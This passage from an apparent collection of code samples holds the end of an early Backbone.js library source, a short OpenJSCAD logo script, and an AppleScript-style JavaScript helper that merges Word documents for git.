delete escaped[attr];\n          this._changed = true;\n          if (!options.silent) this.trigger('change:' + attr, this, val, options);\n        }\n      }\n\n      // Fire the `\"change\"` event, if the model has been changed.\n      if (!alreadyChanging && !options.silent && this._changed) this.change(options);\n      this._changing = false;\n      return this;\n    },\n\n    // Remove an attribute from the model, firing `\"change\"` unless you choose\n    // to silence it. `unset` is a noop if the attribute doesn't exist.\n    unset : function(attr, options) {\n      if (!(attr in this.attributes)) return this;\n      options || (options = {});\n      var value = this.attributes[attr];\n\n      // Run validation.\n      var validObj = {};\n      validObj[attr] = void 0;\n      if (!options.silent && this.validate && !this._performValidation(validObj, options)) return false;\n\n      // Remove the attribute.\n      delete this.attributes[attr];\n      delete this._escapedAttributes[attr];\n      if (attr == this.idAttribute) delete this.id;\n      this._changed = true;\n      if (!options.silent) {\n        this.trigger('change:' + attr, this, void 0, options);\n        this.change(options);\n      }\n      return this;\n    },\n\n    // Clear all attributes on the model, firing `\"change\"` unless you choose\n    // to silence it.\n    clear : function(options) {\n      options || (options = {});\n      var attr;\n      var old = this.attributes;\n\n      // Run validation.\n      var validObj = {};\n      for (attr in old) validObj[attr] = void 0;\n      if (!options.silent && this.validate && !this._performValidation(validObj, options)) return false;\n\n      this.attributes = {};\n      this._escapedAttributes = {};\n      this._changed = true;\n      if (!options.silent) {\n        for (attr in old) {\n          this.trigger('change:' + attr, this, void 0, options);\n        }\n        this.change(options);\n      }\n      return this;\n    },\n\n    // Fetch the model from the server. If the server's representation of the\n    // model differs from its current attributes, they will be overriden,\n    // triggering a `\"change\"` event.\n    fetch : function(options) {\n      options || (options = {});\n      var model = this;\n      var success = options.success;\n      options.success = function(resp, status, xhr) {\n        if (!model.set(model.parse(resp, xhr), options)) return false;\n        if (success) success(model, resp);\n      };\n      options.error = wrapError(options.error, model, options);\n      return (this.sync || Backbone.sync).call(this, 'read', this, options);\n    },\n\n    // Set a hash of model attributes, and sync the model to the server.\n    // If the server returns an attributes hash that differs, the model's\n    // state will be `set` again.\n    save : function(attrs, options) {\n      options || (options = {});\n      if (attrs && !this.set(attrs, options)) return false;\n      var model = this;\n      var success = options.success;\n      options.success = function(resp, status, xhr) {\n        if (!model.set(model.parse(resp, xhr), options)) return false;\n        if (success) success(model, resp, xhr);\n      };\n      options.error = wrapError(options.error, model, options);\n      var method = this.isNew() ? 'create' : 'update';\n      return (this.sync || Backbone.sync).call(this, method, this, options);\n    },\n\n    // Destroy this model on the server if it was already persisted. Upon success, the model is removed\n    // from its collection, if it has one.\n    destroy : function(options) {\n      options || (options = {});\n      if (this.isNew()) return this.trigger('destroy', this, this.collection, options);\n      var model = this;\n      var success = options.success;\n      options.success = function(resp) {\n        model.trigger('destroy', model, model.collection, options);\n        if (success) success(model, resp);\n      };\n      options.error = wrapError(options.error, model, options);\n      return (this.sync || Backbone.sync).call(this, 'delete', this, options);\n    },\n\n    // Default URL for the model's representation on the server -- if you're\n    // using Backbone's restful methods, override this to change the endpoint\n    // that will be called.\n    url : function() {\n      var base = getUrl(this.collection) || this.urlRoot || urlError();\n      if (this.isNew()) return base;\n      return base + (base.charAt(base.length - 1) == '/' ? '' : '/') + encodeURIComponent(this.id);\n    },\n\n    // **parse** converts a response into the hash of attributes to be `set` on\n    // the model. The default implementation is just to pass the response along.\n    parse : function(resp, xhr) {\n      return resp;\n    },\n\n    // Create a new model with identical attributes to this one.\n    clone : function() {\n      return new this.constructor(this);\n    },\n\n    // A model is new if it has never been saved to the server, and lacks an id.\n    isNew : function() {\n      return this.id == null;\n    },\n\n    // Call this method to manually fire a `change` event for this model.\n    // Calling this will cause all objects observing the model to update.\n    change : function(options) {\n      this.trigger('change', this, options);\n      this._previousAttributes = _.clone(this.attributes);\n      this._changed = false;\n    },\n\n    // Determine if the model has changed since the last `\"change\"` event.\n    // If you specify an attribute name, determine if that attribute has changed.\n    hasChanged : function(attr) {\n      if (attr) return this._previousAttributes[attr] != this.attributes[attr];\n      return this._changed;\n    },\n\n    // Return an object containing all the attributes that have changed, or false\n    // if there are no changed attributes. Useful for determining what parts of a\n    // view need to be updated and/or what attributes need to be persisted to\n    // the server.\n    changedAttributes : function(now) {\n      now || (now = this.attributes);\n      var old = this._previousAttributes;\n      var changed = false;\n      for (var attr in now) {\n        if (!_.isEqual(old[attr], now[attr])) {\n          changed = changed || {};\n          changed[attr] = now[attr];\n        }\n      }\n      return changed;\n    },\n\n    // Get the previous value of an attribute, recorded at the time the last\n    // `\"change\"` event was fired.\n    previous : function(attr) {\n      if (!attr || !this._previousAttributes) return null;\n      return this._previousAttributes[attr];\n    },\n\n    // Get all of the attributes of the model at the time of the previous\n    // `\"change\"` event.\n    previousAttributes : function() {\n      return _.clone(this._previousAttributes);\n    },\n\n    // Run validation against a set of incoming attributes, returning `true`\n    // if all is well. If a specific `error` callback has been passed,\n    // call that instead of firing the general `\"error\"` event.\n    _performValidation : function(attrs, options) {\n      var error = this.validate(attrs);\n      if (error) {\n        if (options.error) {\n          options.error(this, error, options);\n        } else {\n          this.trigger('error', this, error, options);\n        }\n        return false;\n      }\n      return true;\n    }\n\n  });\n\n  // Backbone.Collection\n  // -------------------\n\n  // Provides a standard collection class for our sets of models, ordered\n  // or unordered. If a `comparator` is specified, the Collection will maintain\n  // its models in sort order, as they're added and removed.\n  Backbone.Collection = function(models, options) {\n    options || (options = {});\n    if (options.comparator) this.comparator = options.comparator;\n    _.bindAll(this, '_onModelEvent', '_removeReference');\n    this._reset();\n    if (models) this.reset(models, {silent: true});\n    this.initialize.apply(this, arguments);\n  };\n\n  // Define the Collection's inheritable methods.\n  _.extend(Backbone.Collection.prototype, Backbone.Events, {\n\n    // The default model for a collection is just a **Backbone.Model**.\n    // This should be overridden in most cases.\n    model : Backbone.Model,\n\n    // Initialize is an empty function by default. Override it with your own\n    // initialization logic.\n    initialize : function(){},\n\n    // The JSON representation of a Collection is an array of the\n    // models' attributes.\n    toJSON : function() {\n      return this.map(function(model){ return model.toJSON(); });\n    },\n\n    // Add a model, or list of models to the set. Pass **silent** to avoid\n    // firing the `added` event for every new model.\n    add : function(models, options) {\n      if (_.isArray(models)) {\n        for (var i = 0, l = models.length; i < l; i++) {\n          this._add(models[i], options);\n        }\n      } else {\n        this._add(models, options);\n      }\n      return this;\n    },\n\n    // Remove a model, or a list of models from the set. Pass silent to avoid\n    // firing the `removed` event for every model removed.\n    remove : function(models, options) {\n      if (_.isArray(models)) {\n        for (var i = 0, l = models.length; i < l; i++) {\n          this._remove(models[i], options);\n        }\n      } else {\n        this._remove(models, options);\n      }\n      return this;\n    },\n\n    // Get a model from the set by id.\n    get : function(id) {\n      if (id == null) return null;\n      return this._byId[id.id != null ? id.id : id];\n    },\n\n    // Get a model from the set by client id.\n    getByCid : function(cid) {\n      return cid && this._byCid[cid.cid || cid];\n    },\n\n    // Get the model at the given index.\n    at: function(index) {\n      return this.models[index];\n    },\n\n    // Force the collection to re-sort itself. You don't need to call this under normal\n    // circumstances, as the set will maintain sort order as each item is added.\n    sort : function(options) {\n      options || (options = {});\n      if (!this.comparator) throw new Error('Cannot sort a set without a comparator');\n      this.models = this.sortBy(this.comparator);\n      if (!options.silent) this.trigger('reset', this, options);\n      return this;\n    },\n\n    // Pluck an attribute from each model in the collection.\n    pluck : function(attr) {\n      return _.map(this.models, function(model){ return model.get(attr); });\n    },\n\n    // When you have more items than you want to add or remove individually,\n    // you can reset the entire set with a new list of models, without firing\n    // any `added` or `removed` events. Fires `reset` when finished.\n    reset : function(models, options) {\n      models  || (models = []);\n      options || (options = {});\n      this.each(this._removeReference);\n      this._reset();\n      this.add(models, {silent: true});\n      if (!options.silent) this.trigger('reset', this, options);\n      return this;\n    },\n\n    // Fetch the default set of models for this collection, resetting the\n    // collection when they arrive. If `add: true` is passed, appends the\n    // models to the collection instead of resetting.\n    fetch : function(options) {\n      options || (options = {});\n      var collection = this;\n      var success = options.success;\n      options.success = function(resp, status, xhr) {\n        collection[options.add ? 'add' : 'reset'](collection.parse(resp, xhr), options);\n        if (success) success(collection, resp);\n      };\n      options.error = wrapError(options.error, collection, options);\n      return (this.sync || Backbone.sync).call(this, 'read', this, options);\n    },\n\n    // Create a new instance of a model in this collection. After the model\n    // has been created on the server, it will be added to the collection.\n    // Returns the model, or 'false' if validation on a new model fails.\n    create : function(model, options) {\n      var coll = this;\n      options || (options = {});\n      model = this._prepareModel(model, options);\n      if (!model) return false;\n      var success = options.success;\n      options.success = function(nextModel, resp, xhr) {\n        coll.add(nextModel, options);\n        if (success) success(nextModel, resp, xhr);\n      };\n      model.save(null, options);\n      return model;\n    },\n\n    // **parse** converts a response into a list of models to be added to the\n    // collection. The default implementation is just to pass it through.\n    parse : function(resp, xhr) {\n      return resp;\n    },\n\n    // Proxy to _'s chain. Can't be proxied the same way the rest of the\n    // underscore methods are proxied because it relies on the underscore\n    // constructor.\n    chain: function () {\n      return _(this.models).chain();\n    },\n\n    // Reset all internal state. Called when the collection is reset.\n    _reset : function(options) {\n      this.length = 0;\n      this.models = [];\n      this._byId  = {};\n      this._byCid = {};\n    },\n\n    // Prepare a model to be added to this collection\n    _prepareModel: function(model, options) {\n      if (!(model instanceof Backbone.Model)) {\n        var attrs = model;\n        model = new this.model(attrs, {collection: this});\n        if (model.validate && !model._performValidation(attrs, options)) model = false;\n      } else if (!model.collection) {\n        model.collection = this;\n      }\n      return model;\n    },\n\n    // Internal implementation of adding a single model to the set, updating\n    // hash indexes for `id` and `cid` lookups.\n    // Returns the model, or 'false' if validation on a new model fails.\n    _add : function(model, options) {\n      options || (options = {});\n      model = this._prepareModel(model, options);\n      if (!model) return false;\n      var already = this.getByCid(model) || this.get(model);\n      if (already) throw new Error([\"Can't add the same model to a set twice\", already.id]);\n      this._byId[model.id] = model;\n      this._byCid[model.cid] = model;\n      var index = options.at != null ? options.at :\n                  this.comparator ? this.sortedIndex(model, this.comparator) :\n                  this.length;\n      this.models.splice(index, 0, model);\n      model.bind('all', this._onModelEvent);\n      this.length++;\n      if (!options.silent) model.trigger('add', model, this, options);\n      return model;\n    },\n\n    // Internal implementation of removing a single model from the set, updating\n    // hash indexes for `id` and `cid` lookups.\n    _remove : function(model, options) {\n      options || (options = {});\n      model = this.getByCid(model) || this.get(model);\n      if (!model) return null;\n      delete this._byId[model.id];\n      delete this._byCid[model.cid];\n      this.models.splice(this.indexOf(model), 1);\n      this.length--;\n      if (!options.silent) model.trigger('remove', model, this, options);\n      this._removeReference(model);\n      return model;\n    },\n\n    // Internal method to remove a model's ties to a collection.\n    _removeReference : function(model) {\n      if (this == model.collection) {\n        delete model.collection;\n      }\n      model.unbind('all', this._onModelEvent);\n    },\n\n    // Internal method called every time a model in the set fires an event.\n    // Sets need to update their indexes when models change ids. All other\n    // events simply proxy through. \"add\" and \"remove\" events that originate\n    // in other collections are ignored.\n    _onModelEvent : function(ev, model, collection, options) {\n      if ((ev == 'add' || ev == 'remove') && collection != this) return;\n      if (ev == 'destroy') {\n        this._remove(model, options);\n      }\n      if (model && ev === 'change:' + model.idAttribute) {\n        delete this._byId[model.previous(model.idAttribute)];\n        this._byId[model.id] = model;\n      }\n      this.trigger.apply(this, arguments);\n    }\n\n  });\n\n  // Underscore methods that we want to implement on the Collection.\n  var methods = ['forEach', 'each', 'map', 'reduce', 'reduceRight', 'find', 'detect',\n    'filter', 'select', 'reject', 'every', 'all', 'some', 'any', 'include',\n    'invoke', 'max', 'min', 'sortBy', 'sortedIndex', 'toArray', 'size',\n    'first', 'rest', 'last', 'without', 'indexOf', 'lastIndexOf', 'isEmpty'];\n\n  // Mix in each Underscore method as a proxy to `Collection#models`.\n  _.each(methods, function(method) {\n    Backbone.Collection.prototype[method] = function() {\n      return _[method].apply(_, [this.models].concat(_.toArray(arguments)));\n    };\n  });\n\n  // Backbone.Router\n  // -------------------\n\n  // Routers map faux-URLs to actions, and fire events when routes are\n  // matched. Creating a new one sets its `routes` hash, if not set statically.\n  Backbone.Router = function(options) {\n    options || (options = {});\n    if (options.routes) this.routes = options.routes;\n    this._bindRoutes();\n    this.initialize.apply(this, arguments);\n  };\n\n  // Cached regular expressions for matching named param parts and splatted\n  // parts of route strings.\n  var namedParam    = /:([\\w\\d]+)/g;\n  var splatParam    = /\\*([\\w\\d]+)/g;\n  var escapeRegExp  = /[-[\\]{}()+?.,\\\\^$|#\\s]/g;\n\n  // Set up all inheritable **Backbone.Router** properties and methods.\n  _.extend(Backbone.Router.prototype, Backbone.Events, {\n\n    // Initialize is an empty function by default. Override it with your own\n    // initialization logic.\n    initialize : function(){},\n\n    // Manually bind a single named route to a callback. For example:\n    //\n    //     this.route('search/:query/p:num', 'search', function(query, num) {\n    //       ...\n    //     });\n    //\n    route : function(route, name, callback) {\n      Backbone.history || (Backbone.history = new Backbone.History);\n      if (!_.isRegExp(route)) route = this._routeToRegExp(route);\n      Backbone.history.route(route, _.bind(function(fragment) {\n        var args = this._extractParameters(route, fragment);\n        callback.apply(this, args);\n        this.trigger.apply(this, ['route:' + name].concat(args));\n      }, this));\n    },\n\n    // Simple proxy to `Backbone.history` to save a fragment into the history.\n    navigate : function(fragment, triggerRoute) {\n      Backbone.history.navigate(fragment, triggerRoute);\n    },\n\n    // Bind all defined routes to `Backbone.history`. We have to reverse the\n    // order of the routes here to support behavior where the most general\n    // routes can be defined at the bottom of the route map.\n    _bindRoutes : function() {\n      if (!this.routes) return;\n      var routes = [];\n      for (var route in this.routes) {\n        routes.unshift([route, this.routes[route]]);\n      }\n      for (var i = 0, l = routes.length; i < l; i++) {\n        this.route(routes[i][0], routes[i][1], this[routes[i][1]]);\n      }\n    },\n\n    // Convert a route string into a regular expression, suitable for matching\n    // against the current location hash.\n    _routeToRegExp : function(route) {\n      route = route.replace(escapeRegExp, \"\\\\$&\")\n                   .replace(namedParam, \"([^\\/]*)\")\n                   .replace(splatParam, \"(.*?)\");\n      return new RegExp('^' + route + '$');\n    },\n\n    // Given a route, and a URL fragment that it matches, return the array of\n    // extracted parameters.\n    _extractParameters : function(route, fragment) {\n      return route.exec(fragment).slice(1);\n    }\n\n  });\n\n  // Backbone.History\n  // ----------------\n\n  // Handles cross-browser history management, based on URL fragments. If the\n  // browser does not support `onhashchange`, falls back to polling.\n  Backbone.History = function() {\n    this.handlers = [];\n    _.bindAll(this, 'checkUrl');\n  };\n\n  // Cached regex for cleaning hashes.\n  var hashStrip = /^#*!?/;\n\n  // Cached regex for detecting MSIE.\n  var isExplorer = /msie [\\w.]+/;\n\n  // Has the history handling already been started?\n  var historyStarted = false;\n\n  // Set up all inheritable **Backbone.History** properties and methods.\n  _.extend(Backbone.History.prototype, {\n\n    // The default interval to poll for hash changes, if necessary, is\n    // twenty times a second.\n    interval: 50,\n\n    // Get the cross-browser normalized URL fragment, either from the URL,\n    // the hash, or the override.\n    getFragment : function(fragment, forcePushState) {\n      if (fragment == null) {\n        if (this._hasPushState || forcePushState) {\n          fragment = window.location.pathname;\n          var search = window.location.search;\n          if (search) fragment += search;\n          if (fragment.indexOf(this.options.root) == 0) fragment = fragment.substr(this.options.root.length);\n        } else {\n          fragment = window.location.hash;\n        }\n      }\n      return fragment.replace(hashStrip, '');\n    },\n\n    // Start the hash change handling, returning `true` if the current URL matches\n    // an existing route, and `false` otherwise.\n    start : function(options) {\n\n      // Figure out the initial configuration. Do we need an iframe?\n      // Is pushState desired ... is it available?\n      if (historyStarted) throw new Error(\"Backbone.history has already been started\");\n      this.options          = _.extend({}, {root: '/'}, this.options, options);\n      this._wantsPushState  = !!this.options.pushState;\n      this._hasPushState    = !!(this.options.pushState && window.history && window.history.pushState);\n      var fragment          = this.getFragment();\n      var docMode           = document.documentMode;\n      var oldIE             = (isExplorer.exec(navigator.userAgent.toLowerCase()) && (!docMode || docMode <= 7));\n      if (oldIE) {\n        this.iframe = $('<iframe src=\"javascript:0\" tabindex=\"-1\" />').hide().appendTo('body')[0].contentWindow;\n        this.navigate(fragment);\n      }\n\n      // Depending on whether we're using pushState or hashes, and whether\n      // 'onhashchange' is supported, determine how we check the URL state.\n      if (this._hasPushState) {\n        $(window).bind('popstate', this.checkUrl);\n      } else if ('onhashchange' in window && !oldIE) {\n        $(window).bind('hashchange', this.checkUrl);\n      } else {\n        setInterval(this.checkUrl, this.interval);\n      }\n\n      // Determine if we need to change the base url, for a pushState link\n      // opened by a non-pushState browser.\n      this.fragment = fragment;\n      historyStarted = true;\n      var loc = window.location;\n      var atRoot  = loc.pathname == this.options.root;\n      if (this._wantsPushState && !this._hasPushState && !atRoot) {\n        this.fragment = this.getFragment(null, true);\n        window.location = this.options.root + '#' + this.fragment;\n      } else if (this._wantsPushState && this._hasPushState && atRoot && loc.hash) {\n        this.fragment = loc.hash.replace(hashStrip, '');\n        window.history.replaceState({}, document.title, loc.protocol + '//' + loc.host + this.options.root + this.fragment);\n      }\n      return this.loadUrl();\n    },\n\n    // Add a route to be tested when the fragment changes. Routes added later may\n    // override previous routes.\n    route : function(route, callback) {\n      this.handlers.unshift({route : route, callback : callback});\n    },\n\n    // Checks the current URL to see if it has changed, and if it has,\n    // calls `loadUrl`, normalizing across the hidden iframe.\n    checkUrl : function(e) {\n      var current = this.getFragment();\n      if (current == this.fragment && this.iframe) current = this.getFragment(this.iframe.location.hash);\n      if (current == this.fragment || current == decodeURIComponent(this.fragment)) return false;\n      if (this.iframe) this.navigate(current);\n      this.loadUrl() || this.loadUrl(window.location.hash);\n    },\n\n    // Attempt to load the current URL fragment. If a route succeeds with a\n    // match, returns `true`. If no defined routes matches the fragment,\n    // returns `false`.\n    loadUrl : function(fragmentOverride) {\n      var fragment = this.fragment = this.getFragment(fragmentOverride);\n      var matched = _.any(this.handlers, function(handler) {\n        if (handler.route.test(fragment)) {\n          handler.callback(fragment);\n          return true;\n        }\n      });\n      return matched;\n    },\n\n    // Save a fragment into the hash history. You are responsible for properly\n    // URL-encoding the fragment in advance. This does not trigger\n    // a `hashchange` event.\n    navigate : function(fragment, triggerRoute) {\n      var frag = (fragment || '').replace(hashStrip, '');\n      if (this.fragment == frag || this.fragment == decodeURIComponent(frag)) return;\n      if (this._hasPushState) {\n        var loc = window.location;\n        if (frag.indexOf(this.options.root) != 0) frag = this.options.root + frag;\n        this.fragment = frag;\n        window.history.pushState({}, document.title, loc.protocol + '//' + loc.host + frag);\n      } else {\n        window.location.hash = this.fragment = frag;\n        if (this.iframe && (frag != this.getFragment(this.iframe.location.hash))) {\n          this.iframe.document.open().close();\n          this.iframe.location.hash = frag;\n        }\n      }\n      if (triggerRoute) this.loadUrl(fragment);\n    }\n\n  });\n\n  // Backbone.View\n  // -------------\n\n  // Creating a Backbone.View creates its initial element outside of the DOM,\n  // if an existing element is not provided...\n  Backbone.View = function(options) {\n    this.cid = _.uniqueId('view');\n    this._configure(options || {});\n    this._ensureElement();\n    this.delegateEvents();\n    this.initialize.apply(this, arguments);\n  };\n\n  // Element lookup, scoped to DOM elements within the current view.\n  // This should be prefered to global lookups, if you're dealing with\n  // a specific view.\n  var selectorDelegate = function(selector) {\n    return $(selector, this.el);\n  };\n\n  // Cached regex to split keys for `delegate`.\n  var eventSplitter = /^(\\S+)\\s*(.*)$/;\n\n  // List of view options to be merged as properties.\n  var viewOptions = ['model', 'collection', 'el', 'id', 'attributes', 'className', 'tagName'];\n\n  // Set up all inheritable **Backbone.View** properties and methods.\n  _.extend(Backbone.View.prototype, Backbone.Events, {\n\n    // The default `tagName` of a View's element is `\"div\"`.\n    tagName : 'div',\n\n    // Attach the `selectorDelegate` function as the `$` property.\n    $       : selectorDelegate,\n\n    // Initialize is an empty function by default. Override it with your own\n    // initialization logic.\n    initialize : function(){},\n\n    // **render** is the core function that your view should override, in order\n    // to populate its element (`this.el`), with the appropriate HTML. The\n    // convention is for **render** to always return `this`.\n    render : function() {\n      return this;\n    },\n\n    // Remove this view from the DOM. Note that the view isn't present in the\n    // DOM by default, so calling this method may be a no-op.\n    remove : function() {\n      $(this.el).remove();\n      return this;\n    },\n\n    // For small amounts of DOM Elements, where a full-blown template isn't\n    // needed, use **make** to manufacture elements, one at a time.\n    //\n    //     var el = this.make('li', {'class': 'row'}, this.model.escape('title'));\n    //\n    make : function(tagName, attributes, content) {\n      var el = document.createElement(tagName);\n      if (attributes) $(el).attr(attributes);\n      if (content) $(el).html(content);\n      return el;\n    },\n\n    // Set callbacks, where `this.callbacks` is a hash of\n    //\n    // *{\"event selector\": \"callback\"}*\n    //\n    //     {\n    //       'mousedown .title':  'edit',\n    //       'click .button':     'save'\n    //     }\n    //\n    // pairs. Callbacks will be bound to the view, with `this` set properly.\n    // Uses event delegation for efficiency.\n    // Omitting the selector binds the event to `this.el`.\n    // This only works for delegate-able events: not `focus`, `blur`, and\n    // not `change`, `submit`, and `reset` in Internet Explorer.\n    delegateEvents : function(events) {\n      if (!(events || (events = this.events))) return;\n      $(this.el).unbind('.delegateEvents' + this.cid);\n      for (var key in events) {\n        var method = this[events[key]];\n        if (!method) throw new Error('Event \"' + events[key] + '\" does not exist');\n        var match = key.match(eventSplitter);\n        var eventName = match[1], selector = match[2];\n        method = _.bind(method, this);\n        eventName += '.delegateEvents' + this.cid;\n        if (selector === '') {\n          $(this.el).bind(eventName, method);\n        } else {\n          $(this.el).delegate(selector, eventName, method);\n        }\n      }\n    },\n\n    // Performs the initial configuration of a View with a set of options.\n    // Keys with special meaning *(model, collection, id, className)*, are\n    // attached directly to the view.\n    _configure : function(options) {\n      if (this.options) options = _.extend({}, this.options, options);\n      for (var i = 0, l = viewOptions.length; i < l; i++) {\n        var attr = viewOptions[i];\n        if (options[attr]) this[attr] = options[attr];\n      }\n      this.options = options;\n    },\n\n    // Ensure that the View has a DOM element to render into.\n    // If `this.el` is a string, pass it through `$()`, take the first\n    // matching element, and re-assign it to `el`. Otherwise, create\n    // an element from the `id`, `className` and `tagName` proeprties.\n    _ensureElement : function() {\n      if (!this.el) {\n        var attrs = this.attributes || {};\n        if (this.id) attrs.id = this.id;\n        if (this.className) attrs['class'] = this.className;\n        this.el = this.make(this.tagName, attrs);\n      } else if (_.isString(this.el)) {\n        this.el = $(this.el).get(0);\n      }\n    }\n\n  });\n\n  // The self-propagating extend function that Backbone classes use.\n  var extend = function (protoProps, classProps) {\n    var child = inherits(this, protoProps, classProps);\n    child.extend = this.extend;\n    return child;\n  };\n\n  // Set up inheritance for the model, collection, and view.\n  Backbone.Model.extend = Backbone.Collection.extend =\n    Backbone.Router.extend = Backbone.View.extend = extend;\n\n  // Map from CRUD to HTTP for our default `Backbone.sync` implementation.\n  var methodMap = {\n    'create': 'POST',\n    'update': 'PUT',\n    'delete': 'DELETE',\n    'read'  : 'GET'\n  };\n\n  // Backbone.sync\n  // -------------\n\n  // Override this function to change the manner in which Backbone persists\n  // models to the server. You will be passed the type of request, and the\n  // model in question. By default, uses makes a RESTful Ajax request\n  // to the model's `url()`. Some possible customizations could be:\n  //\n  // * Use `setTimeout` to batch rapid-fire updates into a single request.\n  // * Send up the models as XML instead of JSON.\n  // * Persist models via WebSockets instead of Ajax.\n  //\n  // Turn on `Backbone.emulateHTTP` in order to send `PUT` and `DELETE` requests\n  // as `POST`, with a `_method` parameter containing the true HTTP method,\n  // as well as all requests with the body as `application/x-www-form-urlencoded` instead of\n  // `application/json` with the model in a param named `model`.\n  // Useful when interfacing with server-side languages like **PHP** that make\n  // it difficult to read the body of `PUT` requests.\n  Backbone.sync = function(method, model, options) {\n    var type = methodMap[method];\n\n    // Default JSON-request options.\n    var params = _.extend({\n      type:         type,\n      dataType:     'json',\n      processData:  false\n    }, options);\n\n    // Ensure that we have a URL.\n    if (!params.url) {\n      params.url = getUrl(model) || urlError();\n    }\n\n    // Ensure that we have the appropriate request data.\n    if (!params.data && model && (method == 'create' || method == 'update')) {\n      params.contentType = 'application/json';\n      params.data = JSON.stringify(model.toJSON());\n    }\n\n    // For older servers, emulate JSON by encoding the request into an HTML-form.\n    if (Backbone.emulateJSON) {\n      params.contentType = 'application/x-www-form-urlencoded';\n      params.processData = true;\n      params.data        = params.data ? {model : params.data} : {};\n    }\n\n    // For older servers, emulate HTTP by mimicking the HTTP method with `_method`\n    // And an `X-HTTP-Method-Override` header.\n    if (Backbone.emulateHTTP) {\n      if (type === 'PUT' || type === 'DELETE') {\n        if (Backbone.emulateJSON) params.data._method = type;\n        params.type = 'POST';\n        params.beforeSend = function(xhr) {\n          xhr.setRequestHeader('X-HTTP-Method-Override', type);\n        };\n      }\n    }\n\n    // Make the request.\n    return $.ajax(params);\n  };\n\n  // Helpers\n  // -------\n\n  // Shared empty constructor function to aid in prototype-chain creation.\n  var ctor = function(){};\n\n  // Helper function to correctly set up the prototype chain, for subclasses.\n  // Similar to `goog.inherits`, but uses a hash of prototype properties and\n  // class properties to be extended.\n  var inherits = function(parent, protoProps, staticProps) {\n    var child;\n\n    // The constructor function for the new subclass is either defined by you\n    // (the \"constructor\" property in your `extend` definition), or defaulted\n    // by us to simply call `super()`.\n    if (protoProps && protoProps.hasOwnProperty('constructor')) {\n      child = protoProps.constructor;\n    } else {\n      child = function(){ return parent.apply(this, arguments); };\n    }\n\n    // Inherit class (static) properties from parent.\n    _.extend(child, parent);\n\n    // Set the prototype chain to inherit from `parent`, without calling\n    // `parent`'s constructor function.\n    ctor.prototype = parent.prototype;\n    child.prototype = new ctor();\n\n    // Add prototype properties (instance properties) to the subclass,\n    // if supplied.\n    if (protoProps) _.extend(child.prototype, protoProps);\n\n    // Add static properties to the constructor function, if supplied.\n    if (staticProps) _.extend(child, staticProps);\n\n    // Correctly set child's `prototype.constructor`.\n    child.prototype.constructor = child;\n\n    // Set a convenience property in case the parent's prototype is needed later.\n    child.__super__ = parent.prototype;\n\n    return child;\n  };\n\n  // Helper function to get a URL from a Model or Collection as a property\n  // or as a function.\n  var getUrl = function(object) {\n    if (!(object && object.url)) return null;\n    return _.isFunction(object.url) ? object.url() : object.url;\n  };\n\n  // Throw an error when a URL is needed, and none is supplied.\n  var urlError = function() {\n    throw new Error('A \"url\" property or function must be specified');\n  };\n\n  // Wrap an optional error callback with a fallback error event.\n  var wrapError = function(onError, model, options) {\n    return function(resp) {\n      if (onError) {\n        onError(model, resp, options);\n      } else {\n        model.trigger('error', model, resp, options);\n      }\n    };\n  };\n\n  // Helper function to escape a string for HTML rendering.\n  var escapeHTML = function(string) {\n    return string.replace(/&(?!\\w+;|#\\d+;|#x[\\da-f]+;)/gi, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/\"/g, '&quot;').replace(/'/g, '&#x27').replace(/\\//g,'&#x2F;');\n  };\n\n}).call(this);\n"
  },
  {
    "path": "samples/JavaScript/logo.jscad",
    "content": "// title      : OpenJSCAD.org Logo\n// author     : Rene K. Mueller\n// license    : MIT License\n// revision   : 0.003\n// tags       : Logo,Intersection,Sphere,Cube\n// file       : logo.jscad\n\nfunction main() {\n   return union(\n      difference(\n         cube({size: 3, center: true}),\n         sphere({r:2, center: true})\n      ),\n      intersection(\n          sphere({r: 1.3, center: true}),\n          cube({size: 2.1, center: true})\n      )\n   ).translate([0,0,1.5]).scale(10);\n}\n"
  },
  {
    "path": "samples/JavaScript/merge.js",
    "content": "#!/usr/bin/env osascript -l JavaScript\n\nfunction run(argv) {\n  var app = Application.currentApplication()\n  app.includeStandardAdditions = true\n\n  var word = Application('Microsoft Word')\n\n  app.doShellScript('mkdir -p /tmp/word_git')\n  app.doShellScript('cp \"' + argv[0] + '\" /tmp/word_git/base.docx')\n  app.doShellScript('cp \"' + argv[1] + '\" /tmp/word_git/local.docx')\n  app.doShellScript('cp \"' + argv[2] + '\" /tmp/word_git/remote.docx')\n\n  word.open('/tmp/word_git/local.docx', {addToRecentFiles: false})\n  word.documents['local.docx'].close()\n  word.open('/tmp/word_git/remote.docx', {addToRecentFiles: false})\n  word.documents['remote.docx'].close()\n\n  word.open('/tmp/word_git/base.docx', {addToRecentFiles: false})\n  word.documents['base.docx'].compare({path: '/tmp/word_git/local.docx', authorName: \"Local\"})\n  word.documents[0].saveAs({fileName: '/tmp/word_git/local_comp.docx'})\n  word.documents['local_comp.docx'].close()\n\n  word.documents['base.docx'].close()\n  word.open('/tmp/word_git/base.docx', {addToRecentFiles: false})\n  word.documents['base.docx'].compare({path: '/tmp/word_git/remote.docx', authorName: \"Remote\"})\n  word.documents[0].saveAs({fileName: '/tmp/word_git/remote_comp.docx'})\n  word.documents['remote_comp.docx'].close()\n  \n  word.documents['base.docx'].close({saving: \"no\"})\n  \n  word.open('/tmp/word_git/local_comp.docx', {addToRecentFiles: false})\n  Application(\"Microsoft Word\").merge(Application(\"Microsoft Word\").documents.byName(\"local_comp.docx\"), {fileName:\"/tmp/word_git/remote_comp.docx\"})\n  word.documents[0].saveAs({fileName: '/tmp/word_git/merged.docx'})\n  word.documents['local_comp.docx'].close({saving: \"no\"})\n  \n  app.displayDialog('Merge your changes now.', {buttons: [\"Done Merging\"]})\n  word.documents['merged.docx'].close({saving: \"yes\"})\n\n  app.doShellScript('cp /tmp/word_git/remote.docx \"' + argv[3] + '\"')\n}\n"
  },
  {
    "path": "samples/JavaScript/modernizr.js",
